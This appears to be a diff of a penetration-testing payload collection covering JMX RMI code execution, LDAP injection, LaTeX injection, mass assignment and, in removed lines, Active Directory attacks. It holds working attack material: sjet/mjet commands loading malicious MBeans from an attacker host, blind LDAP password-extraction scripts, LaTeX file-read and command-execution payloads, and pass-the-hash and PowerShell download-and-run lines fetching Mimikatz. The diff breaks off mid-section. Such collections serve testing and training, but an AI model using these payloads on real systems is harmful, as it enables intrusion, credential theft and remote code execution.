+* The JMX server can connect to a http service that is controlled by the attacker
+* JMX authentication is not enabled
+
+#### Remote Command Execution
+
+The attack involves the following steps:
+
+* Starting a web server that hosts the MLet and a JAR file with the malicious MBeans
+* Creating a instance of the MBean `javax.management.loading.MLet` on the target server, using JMX
+* Invoking the `getMBeansFromURL` method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file.
+* The JMX service downloads and loades the JAR files that were referenced in the MLet file, making the malicious MBean available over JMX.
+* The attacker finally invokes methods from the malicious MBean.
+
+Exploit the JMX using [siberas/sjet](https://github.com/siberas/sjet) or [mogwailabs/mjet](https://github.com/mogwailabs/mjet)
+
+```powershell
+jython sjet.py TARGET_IP TARGET_PORT super_secret install http://ATTACKER_IP:8000 8000
+jython sjet.py TARGET_IP TARGET_PORT super_secret command "ls -la"
+jython sjet.py TARGET_IP TARGET_PORT super_secret shell
+jython sjet.py TARGET_IP TARGET_PORT super_secret password this-is-the-new-password
+jython sjet.py TARGET_IP TARGET_PORT super_secret uninstall
+jython mjet.py --jmxrole admin --jmxpassword adminpassword TARGET_IP TARGET_PORT deserialize CommonsCollections6 "touch /tmp/xxx"
+
+jython mjet.py TARGET_IP TARGET_PORT install super_secret http://ATTACKER_IP:8000 8000
+jython mjet.py TARGET_IP TARGET_PORT command super_secret "whoami"
+jython mjet.py TARGET_IP TARGET_PORT command super_secret shell
+```
+
+### RCE using Metasploit
+
+```bash
+use exploit/multi/misc/java_rmi_server
+set RHOSTS <IPs>
+set RPORT <PORT>
+# configure also the payload if needed
+run
+```
+
+## References
+
+* [Attacking RMI based JMX services - Hans-Martin Münch - April 28, 2019](https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/)
+* [JMX RMI - MULTIPLE APPLICATIONS RCE - Red Timmy Security - March 26, 2019](https://www.exploit-db.com/docs/english/46607-jmx-rmi-–-multiple-applications-remote-code-execution.pdf)
+* [remote-method-guesser - BHUSA 2021 Arsenal - Tobias Neitzel - August 15, 2021](https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal)

LDAP Injection/Intruder/LDAP_FUZZ_SMALL.txt

@@ -0,0 +1,20 @@
+*
+*)(&
+*))%00
+)(cn=))\x00
+*()|%26'
+*()|&'
+*(|(mail=*))
+*(|(objectclass=*))
+*)(uid=*))(|(uid=*
+*/*
+*|
+/
+//
+//*
+@*
+|
+admin*
+admin*)((|userpassword=*)
+admin*)((|userPassword=*)
+x' or name()='username' or 'x'='ys

LDAP Injection/README.md

@@ -1,18 +1,37 @@
-# LDAP injection
+# LDAP Injection
 
-LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
+> LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
 
-## Exploitation
+## Summary
 
-Example 1.
+* [Methodology](#methodology)
+    * [Authentication Bypass](#authentication-bypass)
+    * [Blind Exploitation](#blind-exploitation)
+* [Defaults Attributes](#defaults-attributes)
+* [Exploiting userPassword Attribute](#exploiting-userpassword-attribute)
+* [Scripts](#scripts)
+    * [Discover Valid LDAP Fields](#discover-valid-ldap-fields)
+    * [Special Blind LDAP Injection](#special-blind-ldap-injection)
+* [Labs](#labs)
+* [References](#references)
+
+## Methodology
+
+LDAP Injection is a vulnerability that occurs when user-supplied input is used to construct LDAP queries without proper sanitization or escaping
+
+### Authentication Bypass
+
+Attempt to manipulate the filter logic by injecting always-true conditions.
+
+**Example 1**: This LDAP query exploits logical operators in the query structure to potentially bypass authentication
 
 ```sql
 user  = *)(uid=*))(|(uid=*
 pass  = password
-query = "(&(uid=*)(uid=*)) (|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))"
+query = (&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))
 ```
 
-Example 2
+**Example 2**: This LDAP query exploits logical operators in the query structure to potentially bypass authentication
 
 ```sql
 user  = admin)(!(&(1=0
@@ -20,34 +39,9 @@ pass  = q))
 query = (&(uid=admin)(!(&(1=0)(userPassword=q))))
 ```
 
-## Payloads
+### Blind Exploitation
 
-```text
+This scenario demonstrates LDAP blind exploitation using a technique similar to binary search or character-based brute-forcing to discover sensitive information like passwords. It relies on the fact that LDAP filters respond differently to queries based on whether the conditions match or not, without directly revealing the actual password.
-*
-*)(&
-*))%00
-)(cn=))\x00
-*()|%26'
-*()|&'
-*(|(mail=*))
-*(|(objectclass=*))
-*)(uid=*))(|(uid=*
-*/*
-*|
-/
-//
-//*
-@*
-|
-admin*
-admin*)((|userpassword=*)
-admin*)((|userPassword=*)
-x' or name()='username' or 'x'='y
-```
-
-## Blind Exploitation
-
-We can extract using a bypass login
 
 ```sql
 (&(sn=administrator)(password=*))    : OK
@@ -67,7 +61,13 @@ We can extract using a bypass login
 (&(sn=administrator)(password=MYKE)) : OK
 ```
 
-## Defaults attributes
+**LDAP Filter Breakdown**:
+
+* `&`: Logical AND operator, meaning all conditions inside must be true.
+* `(sn=administrator)`: Matches entries where the sn (surname) attribute is administrator.
+* `(password=X*)`: Matches entries where the password starts with X (case-sensitive). The asterisk (*) is a wildcard, representing any remaining characters.
+
+## Defaults Attributes
 
 Can be used in an injection like `*)(ATTRIBUTE_HERE=*`
 
@@ -83,7 +83,7 @@ givenName
 commonName
 ```
 
-## Exploiting userPassword attribute
+## Exploiting userPassword Attribute
 
 `userPassword` attribute is not a string like the `cn` attribute for example but it’s an OCTET STRING
 In LDAP, every object, type, operator etc. is referenced by an OID : octetStringOrderingMatch (OID 2.5.13.18).
@@ -96,9 +96,79 @@ userPassword:2.5.13.18:=\xx\xx
 userPassword:2.5.13.18:=\xx\xx\xx
 ```
 
+## Scripts
+
+### Discover Valid LDAP Fields
+
+```python
+#!/usr/bin/python3
+import requests
+import string
+
+fields = []
+url = 'https://URL.com/'
+f = open('dic', 'r')
+world = f.read().split('\n')
+f.close()
+
+for i in world:
+    r = requests.post(url, data = {'login':'*)('+str(i)+'=*))\x00', 'password':'bla'}) #Like (&(login=*)(ITER_VAL=*))\x00)(password=bla))
+    if 'TRUE CONDITION' in r.text:
+        fields.append(str(i))
+
+print(fields)
+```
+
+### Special Blind LDAP Injection
+
+```python
+#!/usr/bin/python3
+import requests, string
+alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
+
+flag = ""
+for i in range(50):
+    print("[i] Looking for number " + str(i))
+    for char in alphabet:
+        r = requests.get("http://ctf.web?action=dir&search=admin*)(password=" + flag + char)
+        if ("TRUE CONDITION" in r.text):
+            flag += char
+            print("[+] Flag: " + flag)
+            break
+```
+
+Exploitation script by [@noraj](https://github.com/noraj)
+
+```ruby
+#!/usr/bin/env ruby
+require 'net/http'
+alphabet = [*'a'..'z', *'A'..'Z', *'0'..'9'] + '_@{}-/()!"$%=^[]:;'.split('')
+
+flag = ''
+(0..50).each do |i|
+  puts("[i] Looking for number #{i}")
+  alphabet.each do |char|
+    r = Net::HTTP.get(URI("http://ctf.web?action=dir&search=admin*)(password=#{flag}#{char}"))
+    if /TRUE CONDITION/.match?(r)
+      flag += char
+      puts("[+] Flag: #{flag}")
+      break
+    end
+  end
+end
+```
+
+## Labs
+
+* [Root Me - LDAP injection - Authentication](https://www.root-me.org/en/Challenges/Web-Server/LDAP-injection-Authentication)
+* [Root Me - LDAP injection - Blind](https://www.root-me.org/en/Challenges/Web-Server/LDAP-injection-Blind)
+
 ## References
 
-* [OWASP LDAP Injection](https://www.owasp.org/index.php/LDAP_injection)
+* [[European Cyber Week] - AdmYSion - Alan Marrec (Maki)](https://www.maki.bzh/writeups/ecw2018admyssion/)
-* [LDAP Blind Explorer](http://code.google.com/p/ldap-blind-explorer/)
+* [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN - October 31, 2018](https://0xukn.fr/posts/writeupecw2018admyssion/)
-* [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN](https://0xukn.fr/posts/WriteUpECW2018AdmYSsion/)
+* [How To Configure OpenLDAP and Perform Administrative LDAP Tasks - Justin Ellingwood - May 30, 2015](https://www.digitalocean.com/community/tutorials/how-to-configure-openldap-and-perform-administrative-ldap-tasks)
-* [Quals ECW 2018 - Maki](https://maki.bzh/courses/blog/writeups/qualecw2018/)
+* [How To Manage and Use LDAP Servers with OpenLDAP Utilities - Justin Ellingwood - May 29, 2015](https://www.digitalocean.com/community/tutorials/how-to-manage-and-use-ldap-servers-with-openldap-utilities)
+* [LDAP Blind Explorer - Alonso Parada - August 12, 2011](http://code.google.com/p/ldap-blind-explorer/)
+* [LDAP Injection & Blind LDAP Injection - Chema Alonso, José Parada Gimeno - October 10, 2008](https://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf)
+* [LDAP Injection Prevention Cheat Sheet - OWASP - July 16, 2019](https://www.owasp.org/index.php/LDAP_injection)

LaTeX Injection/README.md

@@ -1,15 +1,33 @@
-# LaTex Injection
+# LaTeX Injection
 
-## Read file
+> LaTeX Injection is a type of injection attack where malicious content is injected into LaTeX documents. LaTeX is widely used for document preparation and typesetting, particularly in academia, for producing high-quality scientific and mathematical documents. Due to its powerful scripting capabilities, LaTeX can be exploited by attackers to execute arbitrary commands if proper safeguards are not in place.
 
-```bash
+## Summary
+
+* [File Manipulation](#file-manipulation)
+    * [Read File](#read-file)
+    * [Write File](#write-file)
+* [Command Execution](#command-execution)
+* [Cross Site Scripting](#cross-site-scripting)
+* [Labs](#labs)
+* [References](#references)
+
+## File Manipulation
+
+### Read File
+
+Attackers can read the content of sensitive files on the server.
+
+Read file and interpret the LaTeX code in it:
+
+```tex
 \input{/etc/passwd}
-\include{password} # load .tex file
+\include{somefile} # load .tex file (somefile.tex)
 ```
 
-Read single lined file
+Read single lined file:
 
-```bash
+```tex
 \newread\file
 \openin\file=/etc/issue
 \read\file to\line
@@ -17,9 +35,10 @@ Read single lined file
 \closein\file
 ```
 
-Read multiple lined file
+Read multiple lined file:
 
-```bash
+```tex
+\lstinputlisting{/etc/passwd}
 \newread\file
 \openin\file=/etc/passwd
 \loop\unless\ifeof\file
@@ -29,55 +48,90 @@ Read multiple lined file
 \closein\file
 ```
 
-Read text file, keep the formatting
+Read text file, **without** interpreting the content, it will only paste raw file content:
 
-```bash
+```tex
 \usepackage{verbatim}
 \verbatiminput{/etc/passwd}
 ```
 
-## Write file
+If injection point is past document header (`\usepackage` cannot be used), some control
+characters can be deactivated in order to use `\input` on file containing `$`, `#`,
+`_`, `&`, null bytes, ... (eg. perl scripts).
 
-```bash
+```tex
+\catcode `\$=12
+\catcode `\#=12
+\catcode `\_=12
+\catcode `\&=12
+\input{path_to_script.pl}
+```
+
+To bypass a blacklist try to replace one character with it's unicode hex value.
+
+* ^^41 represents a capital A
+* ^^7e represents a tilde (~) note that the ‘e’ must be lower case
+
+```tex
+\lstin^^70utlisting{/etc/passwd}
+```
+
+### Write File
+
+Write single lined file:
+
+```tex
 \newwrite\outfile
 \openout\outfile=cmd.tex
 \write\outfile{Hello-world}
+\write\outfile{Line 2}
+\write\outfile{I like trains}
 \closeout\outfile
 ```
 
-## Command execution
+## Command Execution
 
-The input of the command will be redirected to stdin, use a temp file to get it.
+The output of the command will be redirected to stdout, therefore you need to use a temp file to get it.
 
-```bash
+```tex
-\immediate\write18{env > output}
+\immediate\write18{id > output}
 \input{output}
 ```
 
-If you get any LaTex error, consider using base64 to get the result without bad characters
+If you get any LaTex error, consider using base64 to get the result without bad characters (or use `\verbatiminput`):
 
-```bash
+```tex
 \immediate\write18{env | base64 > test.tex}
 \input{text.tex}
 ```
 
-```bash
+```tex
-\input|ls|base4
+\input|ls|base64
 \input{|"/bin/hostname"}
 ```
 
 ## Cross Site Scripting
 
 From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
-```bash
+
+```tex
 \url{javascript:alert(1)}
 \href{javascript:alert(1)}{placeholder}
 ```
 
-Live example at `http://payontriage.com/xss.php?xss=$\href{javascript:alert(1)}{Frogs%20find%20bugs}$`
+In [mathjax](https://docs.mathjax.org/en/latest/input/tex/extensions/unicode.html)
+
+```tex
+\unicode{<img src=1 onerror="<ARBITRARY_JS_CODE>">}
+```
+
+## Labs
+
+* [Root Me - LaTeX - Input](https://www.root-me.org/en/Challenges/App-Script/LaTeX-Input)
+* [Root Me - LaTeX - Command Execution](https://www.root-me.org/en/Challenges/App-Script/LaTeX-Command-execution)
 
 ## References
 
-* [Hacking with LaTeX - Sebastian Neef - 0day.work](https://0day.work/hacking-with-latex/)
+* [Hacking with LaTeX - Sebastian Neef - March 10, 2016](https://0day.work/hacking-with-latex/)
-* [Latex to RCE, Private Bug Bounty Program - Yasho](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a)
+* [Latex to RCE, Private Bug Bounty Program - Yasho - July 6, 2018](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a)
-* [Pwning coworkers thanks to LaTeX](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
+* [Pwning coworkers thanks to LaTeX - scumjr - November 28, 2016](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)

Mass Assignment/README.md

@@ -0,0 +1,40 @@
+# Mass Assignment
+
+> A mass assignment attack is a security vulnerability that occurs when a web application automatically assigns user-supplied input values to properties or variables of a program object. This can become an issue if a user is able to modify attributes they should not have access to, like a user's permissions or an admin flag.
+
+## Summary
+
+* [Methodology](#methodology)
+* [Labs](#labs)
+* [References](#references)
+
+## Methodology
+
+Mass assignment vulnerabilities are most common in web applications that use Object-Relational Mapping (ORM) techniques or functions to map user input to object properties, where properties can be updated all at once instead of individually. Many popular web development frameworks such as Ruby on Rails, Django, and Laravel (PHP) offer this functionality.
+
+For instance, consider a web application that uses an ORM and has a user object with the attributes `username`, `email`, `password`, and `isAdmin`. In a normal scenario, a user might be able to update their own username, email, and password through a form, which the server then assigns to the user object.
+
+However, an attacker may attempt to add an `isAdmin` parameter to the incoming data like so:
+
+```json
+{
+    "username": "attacker",
+    "email": "attacker@email.com",
+    "password": "unsafe_password",
+    "isAdmin": true
+}
+```
+
+If the web application is not checking which parameters are allowed to be updated in this way, it might set the `isAdmin` attribute based on the user-supplied input, giving the attacker admin privileges
+
+## Labs
+
+* [PentesterAcademy - Mass Assignment I](https://attackdefense.pentesteracademy.com/challengedetailsnoauth?cid=1964)
+* [PentesterAcademy - Mass Assignment II](https://attackdefense.pentesteracademy.com/challengedetailsnoauth?cid=1922)
+* [Root Me - API - Mass Assignment](https://www.root-me.org/en/Challenges/Web-Server/API-Mass-Assignment)
+
+## References
+
+* [Hunting for Mass Assignment - Shivam Bathla - August 12, 2021](https://blog.pentesteracademy.com/hunting-for-mass-assignment-56ed73095eda)
+* [Mass Assignment Cheat Sheet - OWASP - March 15, 2021](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)
+* [What is Mass Assignment? Attacks and Security Tips - Yoan MONTOYA - June 15, 2023](https://www.vaadata.com/blog/what-is-mass-assignment-attacks-and-security-tips/)

Methodology and Resources/Active Directory Attack.md

@@ -1,714 +1,51 @@
 # Active Directory Attacks
 
-## Summary
+:warning: Content of this page has been moved to [InternalAllTheThings/active-directory](https://github.com/swisskyrepo/InternalAllTheThings/)
-
+
-* [Tools](#tools)
+- [Active Directory - Certificate Services](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-certificate-services/)
-* [Most common paths to AD compromise](#most-common-paths-to-ad-compromise)
+- [Active Directory - Access Controls ACL/ACE](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adds-acl-ace/)
-  * [MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)](#ms14-068-microsoft-kerberos-checksum-validation-vulnerability)
+- [Active Directory - Enumeration](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adds-enumerate/)
-  * [Open Shares](#open-shares)
+- [Active Directory - Group Policy Objects](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adds-group-policy-objects/)
-  * [GPO - Pivoting with Local Admin & Passwords in SYSVOL](#gpo---pivoting-with-local-admin--passwords-in-sysvol)
+- [Active Directory - Groups](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adds-groups/)
-  * [Dumping AD Domain Credentials](#dumping-ad-domain-credentials-systemrootntdsntdsdit)
+- [Active Directory - Linux](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adds-linux/)
-  * [Password in AD User comment](#password-in-ad-user-comment)
+- [Active Directory - NTDS Dumping](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adds-ntds-dumping/)
-  * [Golden Tickets](#passtheticket-golden-tickets)
+- [Active Directory - Read Only Domain Controller](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adds-rodc/)
-  * [Silver Tickets](#passtheticket-silver-tickets)
+- [Active Directory - Federation Services](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adfs-federation-services/)
-  * [Trust Tickets](#trust-tickets)
+- [Active Directory - Integrated DNS - ADIDNS](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-integrated-dns/)
-  * [Kerberoast](#kerberoast)
+- [Roasting - ASREP Roasting](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-roasting-asrep/)
-  * [KRB_AS_REP roasting](#krb_as_rep-roasting)
+- [Roasting - Kerberoasting](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-roasting-kerberoasting/)
-  * [Pass-the-Hash](#pass-the-hash)
+- [Roasting - Timeroasting](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-roasting-timeroasting/)
-  * [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key)
+- [Active Directory - Tricks](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-tricks/)
-  * [Capturing and cracking NTLMv2 hashes](#capturing-and-cracking-ntlmv2-hashes)
+- [Deployment - SCCM](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/deployment-sccm/)
-  * [NTLMv2 hashes relaying](#ntlmv2-hashes-relaying)
+- [Deployment - WSUS](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/deployment-wsus/)
-  * [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
+- [Hash - Capture and Cracking](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/hash-capture/)
-  * [Trust relationship between domains](#trust-relationship-between-domains)
+- [Hash - OverPass-the-Hash](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/hash-over-pass-the-hash/)
-  * [PrivExchange attack](#privexchange-attack)
+- [Hash - Pass-the-Hash](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/hash-pass-the-hash/)
-  * [Password spraying](#password-spraying)
+- [Internal - DCOM](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/internal-dcom/)
-
+- [Internal - MITM and Relay](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/internal-mitm-relay/)
-## Tools
+- [Internal - PXE Boot Image](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/internal-pxe-boot-image/)
-
+- [Internal - Shares](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/internal-shares/)
-* [Impacket](https://github.com/CoreSecurity/impacket) or the [Windows version](https://github.com/maaaaz/impacket-examples-windows)
+- [Kerberos - Bronze Bit](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/kerberos-bronze-bit/)
-* [Responder](https://github.com/SpiderLabs/Responder)
+- [Kerberos Delegation - Constrained Delegation](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/kerberos-delegation-constrained/)
-* [Mimikatz](https://github.com/gentilkiwi/mimikatz)
+- [Kerberos Delegation - Resource Based Constrained Delegation](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/kerberos-delegation-rbcd/)
-* [Ranger](https://github.com/funkandwagnalls/ranger)
+- [Kerberos Delegation - Unconstrained Delegation](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/kerberos-delegation-unconstrained/)
-* [BloodHound](https://github.com/BloodHoundAD/BloodHound)
+- [Kerberos - Service for User Extension](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/kerberos-s4u/)
-
+- [Kerberos - Tickets](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/kerberos-tickets/)
-  ```powershell
+- [Password - AD User Comment](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/pwd-comments/)
-  apt install bloodhound #kali
+- [Password - DSRM Credentials](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/pwd-dsrm-credentials/)
-  neo4j console
+- [Password - Group Policy Preferences](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/pwd-group-policy-preferences/)
-  Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
+- [Password - Pre-Created Computer Account](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/pwd-precreated-computer/)
-  ./bloodhound
+- [Password - GMSA](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/pwd-read-gmsa/)
-  SharpHound.exe (from resources/Ingestor)
+- [Password - LAPS](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/pwd-read-laps/)
-  SharpHound.exe -c all -d active.htb --domaincontroller 10.10.10.100
+- [Password - Shadow Credentials](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/pwd-shadow-credentials/)
-  or 
+- [Password - Spraying](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/pwd-spraying/)
-  Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
+- [Trust - Privileged Access Management](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/trust-pam/)
-  or 
+- [Trust - Relationship](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/trust-relationship/)
-  bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all
+- [Child Domain to Forest Compromise - SID Hijacking](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/trust-sid-hijacking/)
-  ```
+- [Forest to Forest Compromise - Trust Ticket](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/trust-ticket/)
-
+- [CVE](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/MS14-068/)
-* [AdExplorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer)
+    - [MS14-068 Checksum Validation](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/MS14-068/)
-* [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec)
+    - [NoPAC / samAccountName Spoofing](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/NoPAC/)
-
+    - [PrintNightmare](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/PrintNightmare/)
-  ```bash
+    - [PrivExchange](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/PrivExchange/)
-  git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec
+    - [ZeroLogon](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/ZeroLogon/)
-  crackmapexec smb -L
-  crackmapexec smb -M name_module -o VAR=DATA
-  crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f --local-auth
-  crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f --shares
-  crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
-  crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443
-  crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload"
-  crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'
-  crackmapexec mimikatz --server http --server-port 80
-  ```
-
-* [Mitm6](https://github.com/fox-it/mitm6.git)
-
-  ```bash
-  git clone https://github.com/fox-it/mitm6.git && cd mitm6
-  pip install .
-  mitm6 -d lab.local
-  ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i
-  # -wh: Server hosting WPAD file (Attacker’s IP)
-  # -t: Target (You cannot relay credentials to the same device that you’re spoofing)
-  # -i: open an interactive shell
-  ```
-
-* [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon)
-
-  ```powershell
-  powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.11.0.47/PowerUp.ps1'); Invoke-AllChecks"
-  powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1');"
-  ```
-
-* [Active Directory Assessment and Privilege Escalation Script](https://github.com/hausec/ADAPE-Script)
-
-    ```powershell
-    powershell.exe -ExecutionPolicy Bypass ./ADAPE.ps1 
-    ```
-
-* [Ping Castle](https://github.com/vletoux/pingcastle)
-
-    ```powershell
-    pingcastle.exe --healthcheck --server <DOMAIN_CONTROLLER_IP> --user <USERNAME> --password <PASSWORD> --advanced-live --nullsession
-    ```
-
-* [Kerbrute](https://github.com/ropnop/kerbrute)
-
-    ```powershell
-    ./kerbrute passwordspray -d <DOMAIN> <USERS.TXT> <PASSWORD>
-    ```
-
-## Most common paths to AD compromise
-
-### MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
-
-This exploit require to know the user SID, you can use `rpcclient` to remotely get it or `wmi` if you have an access on the machine.
-
-```powershell
-# remote
-rpcclient $> lookupnames john.smith
-john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)
-
-# loc
-wmic useraccount get name,sid
-Administrator  S-1-5-21-3415849876-833628785-5197346142-500   
-Guest          S-1-5-21-3415849876-833628785-5197346142-501   
-Administrator  S-1-5-21-297520375-2634728305-5197346142-500   
-Guest          S-1-5-21-297520375-2634728305-5197346142-501   
-krbtgt         S-1-5-21-297520375-2634728305-5197346142-502   
-lambda         S-1-5-21-297520375-2634728305-5197346142-1110 
-```
-
-```bash
-Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
-```
-
-Generate a ticket with `metasploit` or `pykek`
-
-```powershell
-Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
-   Name      Current Setting                                Required  Description
-   ----      ---------------                                --------  -----------
-   DOMAIN    LABDOMAIN.LOCAL                                yes       The Domain (upper case) Ex: DEMO.LOCAL
-   PASSWORD  P@ssw0rd                                       yes       The Domain User password
-   RHOSTS    10.10.10.10                                    yes       The target address range or CIDR identifier
-   RPORT     88                                             yes       The target port
-   Timeout   10                                             yes       The TCP timeout to establish connection and read data
-   USER      lambda                                         yes       The Domain User
-   USER_SID  S-1-5-21-297520375-2634728305-5197346142-1106  yes       The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
-```
-
-```powershell
-# https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
-git clone https://github.com/SecWiki/windows-kernel-exploits
-python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
-python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
-python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10
-```
-
-Then use `mimikatz` to load the ticket.
-
-```powershell
-mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
-```
-
-:warning: If the clock is skewed use `clock-skew.nse` script from `nmap`
-
-```powershell
-$ nmap -sV -sC 10.10.10.10
-clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s
-
-$ sudo date -s "14 APR 2015 18:25:16" 
-```
-
-
-### Open Shares
-
-```powershell
-smbmap -H 10.10.10.10                # null session
-smbmap -H 10.10.10.10 -R             # recursive listing
-smbmap -H 10.10.10.10 -u invaliduser # guest smb session
-smbmap -H 10.10.10.10 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
-```
-
-or 
-
-```powershell
-pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
-pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/C$
-ls  # list files
-cd  # move inside a folder
-get # download files
-put # replace a file
-```
-
-or 
-
-```powershell
-smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
-        Sharename       Type      Comment
-        ---------       ----      -------
-        ADMIN$          Disk      Remote Admin
-        C$              Disk      Default share
-        IPC$            IPC       Remote IPC
-        NETLOGON        Disk      Logon server share
-        Replication     Disk      
-        SYSVOL          Disk      Logon server share
-        Users           Disk
-use Sharename # select a Sharename
-cd Folder     # move inside a folder
-ls            # list files
-```
-
-Download a folder recursively
-
-```powershell
-smbclient //10.0.0.1/Share
-smb: \> mask ""
-smb: \> recurse ON
-smb: \> prompt OFF
-smb: \> lcd '/path/to/go/'
-smb: \> mget *
-```
-
-Mount a share
-
-```powershell
-smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
-```
-
-### GPO - Pivoting with Local Admin & Passwords in SYSVOL
-
-:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local
-
-Find password in SYSVOL (MS14-025)
-
-```powershell
